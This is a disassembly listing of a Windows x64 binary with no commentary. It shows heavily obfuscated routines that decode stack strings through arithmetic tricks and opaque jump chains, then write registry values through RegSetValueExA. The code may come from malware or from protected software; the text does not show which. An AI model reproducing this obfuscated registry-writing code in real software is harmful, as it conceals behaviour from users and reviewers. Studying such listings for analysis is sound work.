sub cl, 0x66
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x36
add cl, dl
add cl, bl
mov byte [rbp + rdi - 0x28], cl
jmp 0x1401062b4
lea edx, [rdi + 0x24]
movzx eax, dl
and al, bl
mov ecx, 2
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
jmp 0x1401062e5
lea ecx, [rdi + 6]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x2a
movzx eax, byte [rbp + rdi - 0x28]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140105c62
lea ecx, [rdi - 0x22]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x12
jmp 0x1401062e5
lea edx, [rdi - 0x4a]
mov ecx, 3
jmp 0x1401062a7
lea edx, [rdi - 0x72]
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
dec rdi
inc rdi
jmp 0x140105c62
lea ecx, [rdi + 0x7a]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x56
inc r9
dec rdi
inc rdi
jmp 0x140105c62
lea edx, [rdi + 0x66]
mov ecx, reloc.WLDAP32.dll_Ordinal_27
movzx r11d, dil
jmp 0x140106264
movzx r11d, dil
lea edx, [r11 + 0x3e]
mov ecx, Ordinal_41
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
sub r11b, 0x7a
movzx eax, r11b
and al, bl
mov ecx, Ordinal_45
sub cl, al
add cl, cl
add cl, r11b
add cl, bl
mov byte [rbp + rdi - 0x28], cl
inc r9
dec rdi
inc rdi
jmp 0x140105c62
lea edx, [rdi - 0x12]
mov ecx, 0x3f
movzx eax, dl
and al, bl
sub cl, al
add cl, cl
add dl, cl
add dl, bl
movzx ecx, dl
add r8, r9
mov rax, 0xffffffffffffffff
sub rax, rcx
movzx r10d, cl
add rdi, rax
inc rdi
jmp 0x140105c62
lea rax, [rdi + r12]
and dl, al
add dl, dl
sub al, dl
lea r10d, [rbx + rax]
sub r10b, 0x6a
movzx edx, dil
sub dl, 0x52
movzx eax, dl
and al, bl
mov ecx, Ordinal_35
sub cl, al
add cl, cl
add cl, dl
add cl, bl
movzx eax, cl
mov byte [rbp + rdi - 0x28], al
inc r9
add rax, r9
sub rdi, rax
lea edx, [rdi + 0x38]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
add cl, cl
add cl, dl
add cl, bl
mov byte [rbp + rdi - 0x28], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi - 0x28]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140105c62
lea rax, [rdi + r15]
and dl, al
add dl, dl
sub al, dl
lea r10d, [rbx + rax]
sub r10b, 0x52
movzx eax, byte [rbp + rdi - 0x28]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140105c62
sub dil, 0x4e
movzx eax, dil
and al, bl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
add r10b, bl
jmp 0x140105c60
sub dil, 0x62
movzx eax, dil
and al, bl
add al, al
sub dil, al
lea r10d, [rbx + rdi]
sub r10b, 0x52
jmp 0x140105c50
lea rdx, [rbp + 0x176a890]
jmp 0x1401063c1
lea rdx, [rbp + 0x152e21a]
jmp 0x1401063c1
lea rdx, [rbp - 0x28]
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x30]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140106f2c
mov rsi, qword [r14 + 0x10]
cmp qword [r14 + 0x18], 0xf
jbe 0x1401063fb
mov r14, qword [r14]
mov dword [rbp - 0x50], 0x21b063d
mov dword [rbp - 0x4c], 0xb1f2d1d
mov word [rbp - 0x48], 0x7106
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x46], xmm0
mov qword [rbp - 0x36], rax
mov byte [rbp - 0x2e], al
movabs r15, 0x72e13d6da5e38eef
movabs r13, 0x2428adff8938e889
movabs r12, 0x58a3b848f1aaaccd
movzx ebx, byte [rbp + 0x30]
nop dword [rax]
nop word [rax + rax]
mov rax, qword [0x1402304a8]
mov r9, qword [0x1402304a0]
nop
xor edi, edi
cmp rdi, 0x23
jae 0x140106ef7
movzx r11d, byte [rbp + rdi - 0x50]
mov r8d, r11d
cmp rax, rdi
ja 0x140106eee
lea rcx, [r9 + 1]
cmp rax, rcx
jae 0x1401064a0
lea rdx, [rdi + r15]
mov rcx, rdx
and rcx, r8
imul rbx, rcx, 0xfffffffffffffffe
add rbx, rdx
add rbx, r8
add bl, 0x77
jmp 0x1401064da
je 0x140106e86
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x140106e05
lea rcx, [r9 + 4]
cmp rax, rcx
je 0x140106dd6
lea rcx, [r9 + 6]
cmp rax, rcx
je 0x140106d9c
lea rcx, [r9 + 2]
cmp rax, rcx
je 0x140106d7a
movzx r10d, dil
nop
cmp r9, rdi
ja 0x140106ee5
lea rcx, [r9 + 0x40]
cmp rax, rcx
jae 0x140106509
lea edx, [r10 - 0x65]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea ebx, [r11 + rdx]
sub bl, 0x3d
jmp 0x140106560
lea rdx, [r9 + 1]
cmp rax, rdx
je 0x140106d3b
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x140106d19
lea rcx, [rdx + 1]
cmp rax, rcx
je 0x140106cff
lea rcx, [r9 + 4]
cmp rax, rcx
je 0x140106ce3
lea rcx, [r9 + 2]
cmp rax, rcx
je 0x140106cc7
lea rcx, [r9 + 7]
cmp rax, rcx
je 0x140106cad
nop word [rax + rax]
lea rcx, [r9 + rax]
cmp rcx, rdi
jbe 0x140106a36
nop dword [rax]
lea rcx, [r9 + 0x61]
cmp rax, rcx
je 0x140106a16
lea rcx, [r9 + 0x400]
cmp rax, rcx
je 0x1401069ed
lea rcx, [r9 + 0x200]
cmp rax, rcx
je 0x1401069cb
lea rcx, [r9 + 0x64]
cmp rax, rcx
je 0x1401069b1
lea rcx, [r9 + 0x40]
cmp rax, rcx
je 0x140106995
lea rcx, [r9 + 0x20]
cmp rax, rcx
je 0x140106979
lea rcx, [r9 + 0xa]
cmp rax, rcx
je 0x14010695f
lea rcx, [r9 + 8]
cmp rax, rcx
je 0x140106943
lea rcx, [r9 + 5]
cmp rax, rcx
je 0x140106919
lea rax, [r9 + 0x10]
lea r9, [rax + 0x200]
lea rcx, [r9 + 9]
cmp rax, rcx
jb 0x140106ec9
lea rcx, [r9 + 6]
cmp rax, rcx
jb 0x140106ead
lea rcx, [r9 + 4]
cmp rax, rcx
jb 0x14010670e
lea rcx, [r9 + 2]
cmp rax, rcx
jb 0x1401066f4
lea rcx, [r9 + 0x80]
cmp rax, rcx
jb 0x1401066da
lea rcx, [r9 + 0x42]
cmp rax, rcx
jb 0x1401068cf
lea rcx, [r9 + 0x28]
cmp rax, rcx
jb 0x140106875
lea rcx, [r9 + 0x10]
cmp rax, rcx
jb 0x140106839
lea rax, [r9 + 0x40]
lea r9, [rax + 4]
lea rcx, [r9 + 0x20]
cmp rax, rcx
ja 0x14010680f
lea rcx, [r9 + 0xa]
cmp rax, rcx
ja 0x1401067f3
lea rcx, [r9 + 8]
cmp rax, rcx
ja 0x1401067d9
lea rcx, [r9 + 5]
cmp rax, rcx
ja 0x1401067b9
lea rcx, [r9 + 3]
cmp rax, rcx
ja 0x140106799
lea rcx, [r9 + 1]
cmp rax, rcx
ja 0x140106779
lea rcx, [r9 + 0x5a]
cmp rax, rcx
ja 0x140106753
lea rcx, [r9 + 0x7a]
cmp rax, rcx
ja 0x14010672a
lea rax, [r9 + 0x2a]
lea r9, [rax + 8]
jmp 0x140106570
lea edx, [r10 - 0x3b]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea ebx, [r11 + rdx]
sub bl, 0x63
jmp 0x140106560
lea edx, [r10 - 0x19]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea ebx, [r11 + rdx]
sub bl, 0x51
jmp 0x1401064e0
add r10b, 9
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea ebx, [r11 + r10]
sub bl, 0x3f
jmp 0x140106475
sub r10b, 6
movzx ecx, r10b
and cl, r11b
mov edx, reloc.WS2_32.dll_setsockopt
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
add bl, r11b
inc r9
dec rdi
inc rdi
jmp 0x140106462
add r10b, 0x1c
movzx ecx, r10b
and cl, r11b
mov edx, reloc.WLDAP32.dll_Ordinal_30
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
add bl, r11b
dec rdi
inc rdi
jmp 0x140106462
lea r8d, [r10 + 0x3e]
movzx ecx, r8b
and cl, r11b
mov edx, Ordinal_41
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r8b
add bl, r11b
jmp 0x140106db5
add r10b, 0x60
movzx ecx, r10b
and cl, r11b
mov edx, Ordinal_50
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
add bl, r11b
jmp 0x140106dea
sub r10b, 0x7e
movzx ecx, r10b
and cl, r11b
mov edx, reloc.WS2_32.dll_gethostname
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
add bl, r11b
jmp 0x140106ded
lea edx, [r10 - 0x5c]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea ebx, [r11 + rdx]
sub bl, 0x7c
jmp 0x140106e1d
sub r10b, 0x3a
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea ebx, [r11 + r10]
sub bl, 0x6a
jmp 0x140106e45
sub r10b, 0x18
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea ebx, [r11 + r10]
sub bl, 0x58
movzx ecx, byte [rbp + rdi - 0x50]
add rcx, r9
add rdi, rcx
inc rdi
jmp 0x140106462
lea edx, [r10 + 0x5f]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea ebx, [r11 + rdx]
add bl, 0x67
cmp r9, 0x40
jb 0x140106c65
lea edx, [r10 + 0x3a]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
add dl, r11b
lea ebx, [rdx*2 - 0x2c]
jmp 0x140106d50
lea edx, [r10 - 0x7f]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea ebx, [r11 + rdx]
add bl, 0x79
cmp rax, 1
jae 0x140106c71
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x140106c1b
add r10b, 0x6c
movzx ecx, r10b
and cl, r11b
mov edx, 6
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
add bl, r11b
movzx ecx, byte [rbp + rdi - 0x50]
add rcx, r9
add rdi, rcx
inc rdi
jmp 0x140106462
lea edx, [r10 - 0x5d]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea ebx, [r11 + rdx]
sub bl, 0x75
lea rcx, [r9 + rax]
cmp rcx, 0x41
je 0x140106c90
lea rdx, [r9 + 5]
cmp rax, rdx
jbe 0x140106b5f
lea edx, [r10 - 0xd]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea ebx, [r11 + rdx]
add bl, 0x5b
jmp 0x14010688a
sub r10b, 0x5e
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea ebx, [r11 + r10]
sub bl, 0x6e
movzx ecx, byte [rbp + rdi - 0x50]
add rcx, r9
add rdi, rcx
inc rdi
jmp 0x140106462
sub r10b, 0x3c
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea ebx, [r11 + r10]
sub bl, 0x5c
jmp 0x140106e45
lea edx, [r10 - 0x1a]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea ebx, [r11 + rdx]
sub bl, 0x4a
jmp 0x140106e1d
add r10b, 8
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea ebx, [r11 + r10]
sub bl, 0x38
jmp 0x140106ded
add r10b, 0x2a
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea ebx, [r11 + r10]
sub bl, 0x26
jmp 0x140106dea
lea edx, [r10 + 0x4c]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea ebx, [r11 + rdx]
sub bl, 0x14
jmp 0x140106db5
add r10b, 0x6e
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea ebx, [r11 + r10]
sub bl, 2
dec rdi
inc rdi
jmp 0x140106462
sub r10b, 0x70
movzx ecx, r10b
and cl, r11b
mov edx, 8
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
add bl, r11b
inc r9
dec rdi
inc rdi
jmp 0x140106462
lea r8d, [r10 - 0x4e]
movzx ecx, r8b
and cl, r11b
mov edx, reloc.WS2_32.dll_recvfrom
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r8b
add bl, r11b
jmp 0x140106d50
lea rcx, [r9 + 0xa]
cmp rax, rcx
jae 0x140106a59
lea edx, [r10 - 0x11]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea ebx, [r11 + rdx]
add bl, 0x77
jmp 0x1401068e4
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x140106a8c
add r10b, 0x36
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea ebx, [r11 + r10]
sub bl, 0x7a
movzx ecx, byte [rbp + rdi - 0x50]
add rcx, r9
add rdi, rcx
inc rdi
jmp 0x140106462
inc rcx
cmp rax, rcx
jne 0x140106ab4
add r10b, 0x14
movzx ecx, r10b
and cl, r11b
mov edx, Ordinal_60
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
add bl, r11b
jmp 0x140106e45
lea rcx, [r9 + 2]
cmp rax, rcx
jne 0x140106add
lea r8d, [r10 - 0xe]
movzx ecx, r8b
and cl, r11b
mov edx, Ordinal_50
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r8b
add bl, r11b
jmp 0x140106e1d
lea rcx, [r9 + 5]
cmp rax, rcx
jne 0x140106b06
sub r10b, 0x52
movzx ecx, r10b
and cl, r11b
mov edx, Ordinal_35
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
add bl, r11b
jmp 0x140106dea
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x140106b38
add r10b, 0x48
movzx ecx, r10b
and cl, r11b
mov edx, 4
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
add bl, r11b
inc r9
dec rdi
inc rdi
jmp 0x140106462
lea rcx, [r9 + 7]
cmp rax, rcx
jne 0x1401068e4
lea edx, [r10 + 0x26]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea ebx, [r11 + rdx]
sub bl, 0xa
jmp 0x140106d50
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x140106b82
lea edx, [r10 - 0x2f]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea ebx, [r11 + rdx]
add bl, 0x49
jmp 0x140106d50
inc rcx
cmp rax, rcx
jne 0x140106baf
sub r10b, 0x51
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea ebx, [r11 + r10]
add bl, 0x37
inc r9
dec rdi
inc rdi
jmp 0x140106462
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x140106bd2
lea edx, [r10 + 0x6b]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea ebx, [r11 + rdx]
add bl, 0x13
jmp 0x140106db5
lea rcx, [r9 + 2]
cmp rax, rcx
jne 0x140106bf6
add r10b, 0x49
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea ebx, [r11 + r10]
inc bl
jmp 0x140106dea
cmp rax, rdx
jne 0x14010688a
add r10b, 0x27
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea ebx, [r11 + r10]
sub bl, 0x11
jmp 0x140106ded
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x140106c3e
lea edx, [r10 + 0x28]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea ebx, [r11 + rdx]
sub bl, 0x18
jmp 0x140106e1d
lea rcx, [r9 + 2]
cmp rax, rcx
jne 0x14010684e
lea edx, [r10 - 0x3e]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea ebx, [r11 + rdx]
sub bl, 0x4e
jmp 0x140106db5
mov byte [rbp + rdi - 0x50], bl
inc rdi
jmp 0x140106462
lea r8d, [r10 + 0x18]
movzx ecx, r8b
and cl, r11b
movzx edx, r11b
sub dl, cl
add dl, 0x2c
lea ebx, [rdx + rdx]
add bl, r8b
jmp 0x140106db5
lea r8d, [r10 - 0xa]
movzx ecx, r8b
and cl, r11b
mov edx, reloc.WLDAP32.dll_Ordinal_35
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r8b
jmp 0x140106e1d
lea edx, [r10 - 0x53]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea ebx, [r11 + rdx]
add bl, 0x45
jmp 0x140106e1d
sub r10b, 0x31
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea ebx, [r11 + r10]
add bl, 0x57
jmp 0x140106ded
sub r10b, 0xf
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea ebx, [r11 + r10]
add bl, 0x69
jmp 0x140106dea
lea edx, [r10 + 0x13]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea ebx, [r11 + rdx]
add bl, 0x7b
jmp 0x140106db5
add r10b, 0x35
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea ebx, [r11 + r10]
sub bl, 0x73
dec rdi
inc rdi
jmp 0x140106462
lea edx, [r10 + 0x79]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea ebx, [r11 + rdx]
sub bl, 0x4f
add r10b, 0x29
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
sub r10b, 0x1f
add r10b, r11b
mov byte [rbp + rdi - 0x50], r10b
inc r9
dec rdi
inc rdi
jmp 0x140106462
lea edx, [rdi - 0x21]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea ebx, [r11 + rdx]
sub bl, 0x19
inc r9
dec rdi
inc rdi
jmp 0x140106462
movzx r10d, dil
lea edx, [r10 + 0x23]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea ebx, [r11 + rdx]
add bl, 0xb
add r10b, 7
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
sub r10b, 0x31
add r10b, bl
add r10b, r11b
mov byte [rbp + rdi - 0x50], r10b
jmp 0x140106dea
lea edx, [rdi + 0x45]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea ebx, [r11 + rdx]
add bl, 0x1d
add rax, r9
movzx ecx, bl
mov rdx, 0xffffffffffffffff
sub rdx, rcx
add rdi, rdx
inc rdi
jmp 0x140106462
lea rcx, [rdi + r13]
and r8b, cl
add r8b, r8b
sub cl, r8b
lea ebx, [r11 + rcx]
add bl, 0x41
movzx r10d, dil
sub r10b, 0x1b
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
sub r10b, 0x43
add r10b, r11b
movzx ecx, r10b
mov byte [rbp + rdi - 0x50], cl
inc r9
add rcx, r9
sub rdi, rcx
lea r8d, [rdi - 0x2c]
movzx ecx, r8b
and cl, r11b
mov edx, reloc.WLDAP32.dll_Ordinal_26
sub dl, cl
add dl, dl
add dl, r8b
add dl, r11b
mov byte [rbp + rdi - 0x50], dl
inc rax
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
movzx ecx, byte [rbp + rdi - 0x50]
add rcx, r9
add rdi, rcx
inc rdi
jmp 0x140106462
lea rcx, [rdi + r12]
and r8b, cl
add r8b, r8b
sub cl, r8b
lea ebx, [r11 + rcx]
add bl, 0x65
movzx ecx, byte [rbp + rdi - 0x50]
add rcx, r9
add rdi, rcx
inc rdi
jmp 0x140106462
add r10b, 0x2b
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea ebx, [r11 + r10]
sub bl, 0x2d
jmp 0x140106460
add r10b, 0x4d
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x1b
jmp 0x140106450
lea rdx, [rbp + 0x1640844]
jmp 0x140106efb
lea rdx, [rbp + 0x479733]
jmp 0x140106efb
lea rdx, [rbp - 0x50]
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], r14
mov r9d, 1
xor r8d, r8d
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140106f2c
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
sete bl
jmp 0x140106f2e
xor bl, bl
lea rcx, [rbp + 0x38]
call fcn.140002820
movzx eax, bl
mov rcx, qword [rbp + 0x58]
xor rcx, rsp
call fcn.14019b1d0
mov rbx, qword [rsp + 0x1b0]
add rsp, 0x160
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret